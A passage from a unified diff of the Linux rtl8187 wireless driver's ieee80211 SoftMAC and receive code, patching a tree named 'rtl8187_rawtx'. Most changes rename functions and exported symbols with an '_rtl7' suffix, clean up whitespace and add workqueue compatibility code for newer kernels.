spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_BEACON: IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; - + case IEEE80211_STYPE_PROBE_RESP: IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1430,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac.c rtl8187_rawtx/ieee80211/ieee80211_softmac.c --- rtl8187_orig/ieee80211/ieee80211_softmac.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_softmac.c 2007-07-13 01:46:05.000000000 +0200 @@ -1,14 +1,14 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Few lines might be stolen from other part of the ieee80211 * stack. Copyright who own it's copyright * * WPA code stolen from the ipw2200 driver. - * Copyright who own it's copyright. + * Copyright who own it's copyright. * * released under the GPL */ @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,28 +34,28 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; - + if (ieee->modulation & IEEE80211_CCK_MODULATION) rate_len = IEEE80211_CCK_RATE_LEN + 2; - + if (ieee->modulation & IEEE80211_OFDM_MODULATION) - + rate_len += IEEE80211_OFDM_RATE_LEN + 2; - + return rate_len; } -/* pleace the MFIE rate, tag to the memory (double) poined. +/* pleace the MFIE rate, tag to the memory (double) poined. * Then it updates the pointer so that * it points after the new MFIE tag added. - */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) + */ +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { - u8 *tag = *tag_p; - + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_CCK_MODULATION){ *tag++ = MFIE_TYPE_RATES; *tag++ = 4; @@ -64,17 +64,17 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) -{ - u8 *tag = *tag_p; - +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) +{ + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_OFDM_MODULATION){ - + *tag++ = MFIE_TYPE_RATES_EX; *tag++ = 8; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; @@ -85,73 +85,73 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; - + /* * if the queue is full but we have newer frames then * just overwrites the oldest. - * + * * if (nh == ieee->mgmt_queue_tail) * return -1; - */ + */ ieee->mgmt_queue_head = nh; ieee->mgmt_queue_ring[nh] = skb; - + //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; - + if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head) return NULL; - + ret = ieee->mgmt_queue_ring[ieee->mgmt_queue_tail]; - - ieee->mgmt_queue_tail = + + ieee->mgmt_queue_tail = (ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM; - + return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header= (struct ieee80211_hdr_3addr *) skb->data; - - + + spin_lock_irqsave(&ieee->lock, flags); - + /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); - + ieee80211_sta_wakeup_rtl7(ieee,0); + if(single){ - + if(ieee->queue_stop){ - - enqueue_mgmt(ieee,skb); - + + enqueue_mgmt_rtl7(ieee,skb); + }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -159,119 +159,119 @@ ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); } - + spin_unlock_irqrestore(&ieee->lock, flags); }else{ spin_unlock_irqrestore(&ieee->lock, flags); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags); - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + ieee->softmac_hard_start_xmit(skb,ieee->dev); - + spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags); } } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { - + short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - + + if(single){ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); - + }else{ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; ieee->softmac_hard_start_xmit(skb,ieee->dev); - + } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; struct sk_buff *skb; struct ieee80211_probe_request *req; - + len = ieee->current_network.ssid_len; - - rate_len = ieee80211_MFIE_rate_len(ieee); - + + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); - - if (!skb) + + if (!skb) return NULL; - + req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request)); req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ); - req->header.duration_id = 0; //FIXME: is this OK ? - + req->header.duration_id = 0; //FIXME: is this OK ? + memset(req->header.addr1, 0xff, ETH_ALEN); memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memset(req->header.addr3, 0xff, ETH_ALEN); - + tag = (u8 *) skb_put(skb,len+2+rate_len); - + *tag++ = MFIE_TYPE_SSID; *tag++ = len; memcpy(tag, ieee->current_network.ssid, len); tag += len; - - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - unsigned long flags; - - skb = ieee80211_get_beacon_(ieee); + + unsigned long flags; + + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } - ieee->beacon_timer.expires = jiffies + + ieee->beacon_timer.expires = jiffies + (MSECS( ieee->current_network.beacon_interval -5)); - + spin_lock_irqsave(&ieee->beacon_lock,flags); if(ieee->beacon_txing) add_timer(&ieee->beacon_timer); @@ -279,57 +279,57 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - skb = ieee80211_probe_req(ieee); + + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels - * in the allowed channel map has been checked. + * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; - + down(&ieee->scan_sem); - + while(1) { - + do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) goto out; /* scan completed */ - + }while(!ieee->channel_map[ch]); - + /* this fuction can be called in two situations * 1- We have switched to ad-hoc mode and we are * performing a complete syncro scan before conclude - * there are no interesting cell and to create a - * new one. In this case the link state is + * there are no interesting cell and to create a + * new one. In this case the link state is * IEEE80211_NOLINK until we found an interesting cell. * If so the ieee8021_new_net, called by the RX path * will set the state to IEEE80211_LINKED, so we stop @@ -342,24 +342,24 @@ * not filter RX frames and the channel is changing. * So the only situation in witch are interested is to check * if the state become LINKED because of the #1 situation - */ - + */ + if (ieee->state == IEEE80211_LINKED) goto out; - + ieee->set_chan(ieee->dev, ch); - - ieee80211_send_probe_requests(ieee); - + + ieee80211_send_probe_requests_rtl7(ieee); + /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. - */ + */ if (ieee->sync_scan_hurryup) goto out; msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME); - + } out: ieee->sync_scan_hurryup = 0; @@ -370,43 +370,49 @@ void ieee80211_softmac_scan(struct ieee80211_device *ieee) { short watchdog = 0; - + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) return; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + schedule_work(&ieee->softmac_scan_wq); } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; - + down(&ieee->scan_sem); + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) goto out; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + if (ieee->scanning == 0 ) goto out; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); -#if 0 +#if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); - if (ieee->scanning == 1) + if (ieee->scanning == 1) add_timer(&ieee->scan_timer); #endif queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME); @@ -419,7 +425,7 @@ { unsigned long flags; struct ieee80211_device *ieee = (struct ieee80211_device *)_dev; - + spin_lock_irqsave(&ieee->lock, flags); ieee80211_softmac_scan(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { - unsigned long flags; + unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); - + ieee80211_send_beacon_rtl7(ieee); + spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,111 +459,111 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { -// unsigned long flags; - +// unsigned long flags; + //ieee->sync_scan_hurryup = 1; - + down(&ieee->scan_sem); // spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->scanning == 1){ ieee->scanning = 0; //del_timer_sync(&ieee->scan_timer); cancel_delayed_work(&ieee->softmac_scan_wq); } - + // spin_unlock_irqrestore(&ieee->lock, flags); up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { - if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); - + } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; - + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); - + } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { - struct sk_buff *skb; + struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); - + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); + if (!skb) return NULL; - + auth = (struct ieee80211_authentication *) skb_put(skb, sizeof(struct ieee80211_authentication)); - + auth->header.frame_ctl = IEEE80211_STYPE_AUTH; if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP; - + auth->header.duration_id = 0x013a; //FIXME - + memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN); - + auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY; - + auth->transaction = cpu_to_le16(ieee->associate_seq); ieee->associate_seq++; - + auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS); - + return skb; - + } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -566,23 +572,23 @@ int encrypt; int atim_len,erp_len; struct ieee80211_crypt_data* crypt; - + char *ssid = ieee->current_network.ssid; int ssid_len = ieee->current_network.ssid_len; int rate_len = ieee->current_network.rates_len+2; int rate_ex_len = ieee->current_network.rates_ex_len; if(rate_ex_len > 0) rate_ex_len+=2; - + if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS) atim_len = 4; else atim_len = 0; - - if(ieee80211_is_54g(ieee->current_network)) + + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; - + beacon_size = sizeof(struct ieee80211_probe_response)+ ssid_len +3 //channel @@ -590,72 +596,72 @@ +rate_ex_len +atim_len +erp_len; - + skb = dev_alloc_skb(beacon_size); - - if (!skb) + + if (!skb) return NULL; - + beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size); - + memcpy (beacon_buf->header.addr1, dest,ETH_ALEN); memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN); beacon_buf->header.duration_id = 0; //FIXME - beacon_buf->beacon_interval = + beacon_buf->beacon_interval = cpu_to_le16(ieee->current_network.beacon_interval); - beacon_buf->capability = + beacon_buf->capability = cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS); - + if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT)) - cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); - + cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); + crypt = ieee->crypt[ieee->tx_keyidx]; - encrypt = ieee->host_encrypt && crypt && crypt->ops && + encrypt = ieee->host_encrypt && crypt && crypt->ops && (0 == strcmp(crypt->ops->name, "WEP")); - if (encrypt) + if (encrypt) beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - - + + beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); - - beacon_buf->info_element.id = MFIE_TYPE_SSID; + + beacon_buf->info_element.id = MFIE_TYPE_SSID; beacon_buf->info_element.len = ssid_len; - + tag = (u8*) beacon_buf->info_element.data; - + memcpy(tag, ssid, ssid_len); - + tag += ssid_len; - + *(tag++) = MFIE_TYPE_RATES; - *(tag++) = rate_len-2; + *(tag++) = rate_len-2; memcpy(tag,ieee->current_network.rates,rate_len-2); tag+=rate_len-2; - + *(tag++) = MFIE_TYPE_DS_SET; *(tag++) = 1; *(tag++) = ieee->current_network.channel; - + if(atim_len){ *(tag++) = MFIE_TYPE_IBSS_SET; *(tag++) = 2; *((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window); tag+=2; } - + if(erp_len){ *(tag++) = MFIE_TYPE_ERP; *(tag++) = 1; - *(tag++) = 0; + *(tag++) = 0; } - + if(rate_ex_len){ *(tag++) = MFIE_TYPE_RATES_EX; - *(tag++) = rate_ex_len-2; + *(tag++) = rate_ex_len-2; memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2); tag+=rate_ex_len-2; } @@ -664,208 +670,211 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; - + struct ieee80211_crypt_data* crypt; struct ieee80211_assoc_response_frame *assoc; short encrypt; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; - - skb = dev_alloc_skb(len); - - if (!skb) + + skb = dev_alloc_skb(len); + + if (!skb) return NULL; - + assoc = (struct ieee80211_assoc_response_frame *) skb_put(skb,sizeof(struct ieee80211_assoc_response_frame)); - + assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); memcpy(assoc->header.addr1, dest,ETH_ALEN); memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN); - assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? + assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS); - - + + if(ieee->short_slot) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + if (ieee->host_encrypt) crypt = ieee->crypt[ieee->tx_keyidx]; else crypt = NULL; - + encrypt = ( crypt && crypt->ops); - + if (encrypt) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + assoc->status = 0; assoc->aid = cpu_to_le16(ieee->assoc_id); if (ieee->assoc_id == 0x2007) ieee->assoc_id=0; else ieee->assoc_id++; - + tag = (u8*) skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); + + if (!skb) return NULL; - + skb->len = sizeof(struct ieee80211_authentication); - + auth = (struct ieee80211_authentication *)skb->data; - + auth->status = cpu_to_le16(status); auth->transaction = cpu_to_le16(2); auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN); - + memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr1, dest, ETH_ALEN); - auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); + auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); return skb; - - + + } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; - - skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); + + if (!skb) return NULL; - + hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr)); - + memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN); memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN); - - hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | - IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | - (pwr ? IEEE80211_FCTL_PM:0)); - + + hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | + IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | + (pwr ? IEEE80211_FCTL_PM:0)); + return skb; - - + + } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); - + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); - + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); - - if (buf) - softmac_mgmt_xmit(buf, ieee); + + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); + + if (buf) + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; - + struct ieee80211_assoc_request_frame *hdr; u8 *tag; - + unsigned int wpa_len = beacon->wpa_ie_len; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); - - - + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + + + int len=sizeof(struct ieee80211_assoc_request_frame)+ + beacon->ssid_len//essid tagged val + rate_len//rates tagged val + wpa_len; - + skb = dev_alloc_skb(len); - - if (!skb) + + if (!skb) return NULL; - + hdr = (struct ieee80211_assoc_request_frame *) skb_put(skb, sizeof(struct ieee80211_assoc_request_frame)); - - + + hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ; hdr->header.duration_id= 37; //FIXME memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN); memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN); - + hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS); - if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) + if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + if(ieee->short_slot) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + + if(beacon->capability & WLAN_CAPABILITY_SHORT_PREAMBLE) + hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_PREAMBLE); + hdr->listen_interval = 0xa; //FIXME - + hdr->info_element.id = MFIE_TYPE_SSID; hdr->info_element.len = beacon->ssid_len; tag = skb_put(skb, beacon->ssid_len); memcpy(tag, beacon->ssid, beacon->ssid_len); - - tag = skb_put(skb, rate_len); - - 